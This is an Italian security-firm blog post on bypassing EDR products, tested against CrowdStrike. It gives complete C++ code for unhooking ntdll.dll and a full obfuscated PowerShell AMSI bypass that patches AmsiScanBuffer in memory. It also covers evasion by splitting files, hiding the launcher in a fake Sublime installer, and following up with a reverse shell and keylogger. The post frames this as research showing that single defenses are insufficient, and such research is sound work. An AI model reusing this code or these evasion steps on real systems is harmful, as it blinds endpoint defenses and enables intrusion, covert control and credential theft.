8BitSecurity

In un’epoca in cui le minacce informatiche diventano sempre più sfuggenti, le aziende si affidano sempre più agli Endpoint Detection and Response (EDR) per proteggere i propri sistemi da attacchi mirati. Grazie alla loro capacità di monitorare e analizzare costantemente i comportamenti degli endpoint, un EDR può individuare anomalie, isolare rapidamente le minacce, bloccare attività dannose e generare report dettagliati sull’origine e sulla natura dell’attacco.

Ma cosa succederebbe se queste sofisticate difese venissero aggirate? E quali tecniche sfruttano gli aggressori per superare le difese degli EDR?

In questo articolo, esploreremo le strategie utilizzate dai cybercriminali per eludere questi sistemi e illustreremo alcuni casi di bypass osservati nei test condotti dal team di 8Bit Security.

Disclaimer: Questo articolo è stato scritto a scopo puramente educativo e informativo. L’autore non approva l’uso di queste tecniche per attività illegali o non etiche. L’uso delle informazioni contenute in questo articolo è a tuo rischio e responsabilità. Ti incoraggiamo a utilizzare queste tecniche solo in ambienti di test autorizzati e in conformità con le leggi locali e le normative sulla sicurezza informatica.

Differenza tra EDR e Antivirus Tradizionale

Mentre un antivirus tradizionale rileva e blocca le minacce conosciute utilizzando firme e definizioni specifiche, un sistema di Endpoint Detection and Response (EDR) è progettato per individuare anche minacce sconosciute e tecniche di attacco avanzate. Questo approccio consente una protezione più ampia e proattiva, capace di rispondere a una gamma di attacchi sofisticati e complessi. Le linee di demarcazione tra antivirus e EDR stanno tuttavia diventando meno nette, poiché alcuni antivirus moderni includono funzionalità avanzate simili a quelle degli EDR. In sintesi, un EDR è uno strumento essenziale per le aziende che desiderano proteggere in modo completo dispositivi e dati dalle minacce contemporanee, garantendo una risposta rapida ed efficace a ogni incidente di sicurezza.

Componenti principali di un EDR

Un sistema di EDR integra diverse componenti all’interno degli endpoint per monitorare, rilevare e proteggere, offrendo al contempo una visibilità dettagliata delle attività su ciascun dispositivo. Gli EDR sono costituiti da elementi situati sia sugli endpoint che nel cloud, ciascuno con un ruolo specifico nella difesa contro le minacce informatiche.

EDR Driver: monitorano attività critiche a livello kernel, tramite l’utilizzo di kernel callback, per rilevare diversi tipi di attacchi: modifiche di memoria, attività di rete, chiamate di sistema e interazioni tra software e hardware.

EDR Service: utilizza l’EDR Driver e l’EDR DLL per raccogliere dati telemetrici su processi, connessioni di rete, modifiche ai file e altre attività di sistema, e le invia alle componenti di logging.

EDR DLL: Quando viene avviato un processo utente, l’EDR Service e l’EDR Driver iniettano una EDR DLL all’interno del processo. Questo consente all’EDR di monitorare e controllare in tempo reale il comportamento del processo stesso.

Componenti di Logging: Registrano tutti i dati telemetrici raccolti dagli endpoint, tramite comunicazione con l’EDR Service, che invia periodicamente i dati rilevati, consentendo un monitoraggio continuo e centralizzato.

Componente di Analisi Comportamentale e AI: Analizzano i dati in tempo reale, utilizzando algoritmi di machine learning per identificare pattern anomali che potrebbero indicare un attacco.

Interfaccia di Configurazione e Reportistica Locale: Offre visibilità sugli avvisi di sicurezza e consente agli utenti autorizzati di esaminare i report.

Gli EDR moderni, grazie a questa combinazione di componenti, offrono una difesa multilivello che consente un monitoraggio costante, una risposta automatizzata e un’analisi approfondita degli incidenti. Questo approccio dinamico e proattivo alla protezione dell’endpoint è essenziale per affrontare minacce avanzate e sofisticate.

Attacchi agli EDR

Eludere un sistema EDR non è un’impresa semplice, principalmente perché la struttura e il funzionamento delle sue componenti non sono generalmente noti e variano tra le diverse soluzioni. Essendo strumenti costosi e non facilmente accessibili, gli EDR mantengono una certa “oscurità” operativa, che rappresenta un vantaggio dal punto di vista della sicurezza.

Anche se un attaccante riuscisse a bypassare l’EDR, questo non ne ridurrebbe l’efficacia complessiva: un attacco a una rete aziendale è un processo articolato, composto da diverse fasi. Di conseguenza, anche se un bypass avvenisse nelle fasi iniziali, le attività successive potrebbero comunque essere rilevate dall’EDR, fornendo così un ulteriore livello di protezione.

Come mostrato nell’immagine, ogni componente di un EDR può rappresentare un potenziale bersaglio. La domanda chiave è: quale di queste componenti è più vulnerabile?

Tra i vari tipi di attacchi agli EDR, i più comuni prendono di mira la DLL, che viene collegata ai processi utente. Questo tipo di attacco è favorito dal fatto che non richiede privilegi elevati, ma può essere eseguito con i soli permessi utente di base. Al contrario, per manipolare altre componenti come le kernel callbacks associate al driver, sono necessari privilegi di sistema molto più elevati, come quelli a livello di kernel.

Un attacco di questo tipo non disabilita completamente l’EDR, ma ne riduce significativamente la capacità di monitorare le attività del processo attaccante. In questo modo, il processo può svolgere operazioni offensive senza essere completamente tracciato, anche se nuovi processi generati da esso vengono comunque monitorati dalla DLL.

È possibile rimuovere completamente qualsiasi DLL caricata in memoria, sovrascrivendo la sezione .text mappata in memoria con una versione pulita della stessa sezione letta dal disco. La tecnica utilizzata per scollegare la DLL dell’EDR dal processo è nota come DLL Unhooking.

Di seguito è riportato un grafico semplificato che illustra il concetto fondamentale della tecnica, in cui una sezione .text agganciata di ntdll.dll viene sostituita con una copia pulita della sezione .text di ntdll.dll dal disco:

Il codice seguente scritto in C++ sgancia completamente ntdll.dll, anche se potrebbe essere modificato per sganciarsi da qualsiasi altra DLL.

#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>

int main()

{

            HANDLE process = GetCurrentProcess();

            MODULEINFO mi = {};

            HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

            GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));

            LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;

            HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

            HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);

            LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

            PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;

            PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

            for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {

                        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {

 DWORD oldProtection = 0;

 bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);

 memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);

isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);

                        }

            }

            CloseHandle(process);
            CloseHandle(ntdllFile);
            CloseHandle(ntdllMapping);
            FreeLibrary(ntdllModule);

            return 0;

}

Tecnica di evasione attuata dal team di 8Bit Security

In 8Bit Security abbiamo esaminato una tecnica alternativa per eludere le difese dei sistemi di Endpoint Detection and Response. Nei nostri test, abbiamo utilizzato CrowdStrike, uno degli EDR più diffusi, che di recente ha causato disservizi su scala globale a causa di un aggiornamento dell’agent.

Considerando che molte organizzazioni utilizzano numerosi script PowerShell per la gestione e l’automazione delle attività, abbiamo scelto di realizzare un exploit proprio in PowerShell. Questa scelta offre diversi vantaggi: anzitutto, PowerShell è integrato nei sistemi Windows e garantisce accesso diretto a funzionalità di sistema fondamentali, come la gestione dei processi, il controllo dei file e l’esecuzione di comandi remoti, rendendolo un ambiente estremamente versatile per costruire exploit sofisticati.

Inoltre, un exploit basato su PowerShell può essere facilmente nascosto tra attività di routine, riducendo così la probabilità di rilevamento da parte di EDR e altri sistemi di sicurezza, che spesso trattano gli script PowerShell come parte legittima delle normali operazioni aziendali.

Come primo passo, abbiamo analizzato il comportamento di CrowdStrike rispetto a exploit noti scritti in PowerShell. Abbiamo osservato che, come previsto, anche senza eseguire i file .ps1 contenenti l’exploit, questi venivano rilevati come malevoli e rimossi tramite un’analisi statica del file.

Per evitare che il file venisse identificato come malevolo durante l’analisi statica e garantire la sua permanenza sulla macchina, abbiamo considerato due strategie: applicare tecniche di offuscamento al codice oppure suddividere l’exploit in più file. Per semplificare il processo, abbiamo optato per quest’ultima.

Dopo aver superato l’analisi statica, il passo successivo è stato creare un comando PowerShell che innescasse l’intero exploit, eseguendo i file contenenti l’exploit in un ordine specifico.

Durante l’esecuzione di alcuni exploit, abbiamo osservato che CrowdStrike riusciva a rilevare contenuti malevoli all’interno di determinate variabili. Per gestire questo problema, abbiamo deciso di rielaborare il contenuto delle variabili anziché offuscare il codice, in modo che ogni variabile memorizzasse un valore non sospetto. Di seguito riportiamo un’immagine che descrive il processo di elaborazione attuato:

Purtroppo, questo approccio di elaborazione risulta essere molto più complesso da applicare su alcuni exploit. Per questo motivo, ci concentriamo sull’elusione dei meccanismi che consentono a CrowdStrike di analizzare i comandi PowerShell.

L’analisi del contenuto delle variabili PowerShell da parte di CrowdStrike è possibile grazie all’Antimalware Scan Interface (AMSI). Per migliorare la sicurezza nell’esecuzione dei comandi, Microsoft ha introdotto questa interfaccia, che consente alle applicazioni di sicurezza di esaminare il codice PowerShell prima che venga eseguito. Ogni comando PowerShell, prima di essere eseguito, viene inviato a un motore antivirus (AV) o a un EDR, che, attraverso un database di firme, valuta il comportamento del comando. Se il comando risulta sospetto, l’esecuzione viene bloccata e il processo interrotto.

AMSI protegge PowerShell caricando la libreria amsi.dll nello spazio di memoria di PowerShell. Le principali funzioni utilizzate per rilevare contenuti dannosi nei comandi PowerShell sono AmsiScanBuffer() e AmsiScanString(). Prima di eseguire un comando, PowerShell invoca queste funzioni per consentire la scansione da parte dell’antivirus o dell’EDR. Se il comando non corrisponde a nessuna firma dannosa, la funzione restituisce AMSI_RESULT_CLEAN, permettendo l’esecuzione del comando. Al contrario, se il comando risulta sospetto, viene bloccato. Molti EDR si integrano con AMSI per potenziare il rilevamento delle minacce all’interno degli script.

L’idea, quindi, è quella di applicare un AMSI Bypass per consentire l’esecuzione di qualsiasi comando PowerShell senza essere bloccati. La funzione AmsiScanString() richiama internamente la funzione AmsiScanBuffer(). Pertanto, se riusciamo a eludere i controlli eseguiti da AmsiScanBuffer(), possiamo anche aggirare AmsiScanString(). La strategia consiste nell’applicare un Memory Patch alla funzione AmsiScanBuffer(), in modo che questa restituisca sempre AMSI_RESULT_CLEAN, consentendo l’esecuzione di tutti i comandi nella sessione PowerShell senza che AMSI li rilevi e blocchi.

L’exploit di AMSI Bypass:

$c = ‘t’
$Win32 = @”
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport(“kernel32”)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(“kernel32”)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(“kernel32”)]
public static extern bool VirtualProtec$c(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
“@
Add-Type $Win32
$nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere))
$somewhere = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere))
$notp = 0
$replace = ‘VirtualProtec’
[Win32]::(‘{0}{1}’ -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)
$stopitplease = [Byte[]] (0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3)
$marshalClass = [System.Runtime.InteropServices.Marshal]
$marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)

Ovviamente, per applicare l’exploit sull’AMSI Bypass e fare in modo che l’exploit non venga rilevato come malevolo, è necessario eludere il controllo di AMSI. Per ottenere questo risultato, adottiamo la strategia già vista in precedenza: suddividiamo l’exploit in più file, in modo da ridurre la possibilità che venga identificato come dannoso durante l’analisi. Durante l’esecuzione, alcuni comandi vengono classificati come sospetti. Per ovviare a questa problematica, come già accennato, rielaboriamo questi comandi trasformandoli in versioni non sospette, in modo da evitare il rilevamento.

In alternativa, si può optare per l’offuscamento del codice, facendo però attenzione a non generare un’elevata entropia, poiché potrebbe attirare l’attenzione dell’EDR e attivare allarmi di sicurezza. Per ridurre l’entropia, è possibile aggiungere caratteri ripetuti tra quelli generati casualmente, rendendo l’offuscamento meno sospetto agli occhi dell’EDR e più difficile da rilevare.

Esempi:
Elevata entropia -> kgofyvcuzxrt;
Bassa entropia – > AkAgAoAfAyAvAcAuAzAxArAtA;

L’innesco dell’exploit è stato integrato all’interno di un eseguibile scritto in C, che viene poi mascherato come un installer di Sublime. In questo modo, l’eseguibile appare legittimo agli occhi dell’utente, aumentando le probabilità che venga eseguito senza suscitare sospetti.

Dopo aver applicato l’AMSI Bypass, è possibile eseguire altri tipi di payload scritti in PowerShell senza che vengano rilevati da CrowdStrike. Tutti i file che compongono i payload sono nascosti, rendendone ancora più difficile l’individuazione da parte dell’utente.

È importante notare che l’AMSI Bypass si applica solo al processo PowerShell in cui è stato eseguito. Se questo processo genera altri processi, questi nuovi saranno comunque monitorati dall’AMSI e sottoposti ai consueti controlli di sicurezza.

Di seguito presentiamo alcuni scenari pratici in cui questa tecnica di attacco può essere applicata.

Dopo aver applicato l’AMSI Bypass, viene eseguito il payload di una reverse shell, permettendo così di stabilire una connessione remota tra il server C&C e la macchina target.

Segue un video esemplificativo di quanto illustrato finora:                         

Dopo l’instaurazione della reverse shell, è stato caricato sulla macchina target un keylogger per monitorare e registrare le sequenze di tasti.

Conclusione

Con questi Exploit vogliamo dimostrare come anche gli strumenti più all’avanguardia possano essere aggirati. Per questo motivo, la sicurezza di un’organizzazione non può basarsi su un unico sistema di protezione, come un EDR, ma necessita di un monitoraggio costante e di una visibilità completa sugli eventi di sicurezza. Solo la corretta combinazione tra diverse tecnologie efficaci ed un team qualificato in grado di rilevare attività sospette, può garantire la reattività necessaria contro scenari di attacco sempre più sofisticati.